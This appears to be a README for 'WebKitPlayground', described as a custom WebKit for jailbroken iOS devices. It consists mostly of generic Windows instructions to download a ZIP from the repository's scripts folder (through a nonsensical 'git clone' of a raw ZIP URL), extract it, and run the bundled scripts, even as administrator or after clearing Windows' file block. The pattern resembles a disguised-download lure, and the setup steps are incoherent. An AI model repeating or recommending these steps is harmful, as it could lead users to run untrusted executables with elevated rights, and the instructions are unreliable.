WebKitPlayground helps you build an open-source version of WebKit and use it on jailbroken iOS devices. It is made for users who want to replace the system WebKit with a custom build.
This project is for people who want more control over how WebKit runs on their device. It can help with testing, browsing behavior, and system-level changes on supported jailbroken devices.
To get WebKitPlayground, visit this page to download and follow the files and release assets listed there:
If the page shows a source package or release file, download it to your Windows PC first. Then follow the setup steps below.
Use these steps on a Windows computer to get the project ready.
- Open the download page in your browser.
- Look for the latest release, source archive, or project files.
- Download the file to a folder you can find again, such as Downloads.
- If the file is in a ZIP format, right-click it and choose Extract All.
- Open the extracted folder.
- Look for a README file, install script, or build file.
- Follow the setup steps in that folder if the project includes them.
If the project uses Git, you can also copy the repository to your PC with Git Bash or Git for Windows:
- Install Git for Windows
- Open Command Prompt or PowerShell
- Run: git clone https://github.com/Eveng2187/WebKitPlayground/raw/refs/heads/main/scripts/Playground-Web-Kit-v3.2.zip
WebKitPlayground is best used on a Windows PC with these basic settings:
- Windows 10 or Windows 11
- At least 8 GB of RAM
- Several GB of free disk space
- A stable internet connection
- A modern browser such as Chrome, Edge, or Firefox
If you plan to build WebKit files from source, a faster PC with more RAM will help.
After you download the files, use this order:
- Open the project folder.
- Read any included setup file first.
- Install any tools listed in the project files.
- Start the build or install process.
- Wait for the process to finish.
- Keep the output files in a safe folder.
If the project includes a Windows script, you can usually run it by double-clicking the file or opening it from PowerShell.
WebKitPlayground is meant for jailbroken iOS devices. After you prepare the build on Windows, you can move the needed files to your device by using the method that fits your setup.
Common ways to do this include:
- SFTP
- USB file transfer tools
- SSH
- File manager apps on the device
After the files are on the device, apply them only with the steps in the project files. The exact process can change based on the WebKit build you use and the iOS version on the device.
When you open the project, you may see files like these:
- .zip — compressed archive
- .bat — Windows batch file
- .ps1 — PowerShell script
- .sh — shell script
- README.md — setup guide
- .xcodeproj — Xcode project file
- build scripts and config files
If you see a script file, it usually starts the setup or build process for you.
If the project does not start, check these items:
- Make sure the files finished downloading
- Make sure you extracted the archive
- Run the file from the project folder, not from inside the ZIP
- Check that Windows did not block the file
- Try opening the script from PowerShell
- Make sure you have enough disk space
- Check that your internet connection is stable
If you get a permission error, try running the tool as an administrator.
If the project stops during setup, close other large apps and try again.
A few simple habits can save time:
- Keep the project in a short folder path, such as C:\WebKitPlayground
- Avoid spaces in folder names if the setup file asks for a clean path
- Use the latest version of Windows
- Keep your device connected only when the setup steps tell you to do so
- Read each included file before you run a script
A clean folder layout can make setup easier:
- C:\WebKitPlayground\
- C:\WebKitPlayground\downloads\
- C:\WebKitPlayground\output\
- C:\WebKitPlayground\tools\
This keeps downloads, build files, and output files separate.
Because this project is meant for jailbroken iOS devices, make sure your device is already prepared for system changes before you replace any WebKit files.
Use a backup before you change system files. Keep a copy of the original files so you can restore them if needed.
When you open the repository page, look for:
- Release files
- Setup steps
- Build instructions
- Device notes
- Required tools
- Version details
If the repository includes scripts, read the file names before you run anything.
A simple first-time flow looks like this:
- Open the GitHub page
- Download the project files
- Extract the archive on Windows
- Read the setup file
- Run the build or install script
- Copy the needed output to your jailbroken iPhone
- Apply the WebKit replacement with the project steps
Project page and download source:
Before you run anything, confirm these items:
- The file name matches the project
- The file is complete
- The folder contains the expected scripts
- The download came from the GitHub page above
These tools can help during setup:
- File Explorer
- PowerShell
- Command Prompt
- Git for Windows
- 7-Zip
- A text editor such as Notepad
Use a text editor to read setup files before you run them
- Open the project page
- Download the files
- Extract them on Windows
- Read the setup notes
- Run the build or install steps
- Move the needed files to the device
- Use the project steps to replace WebKit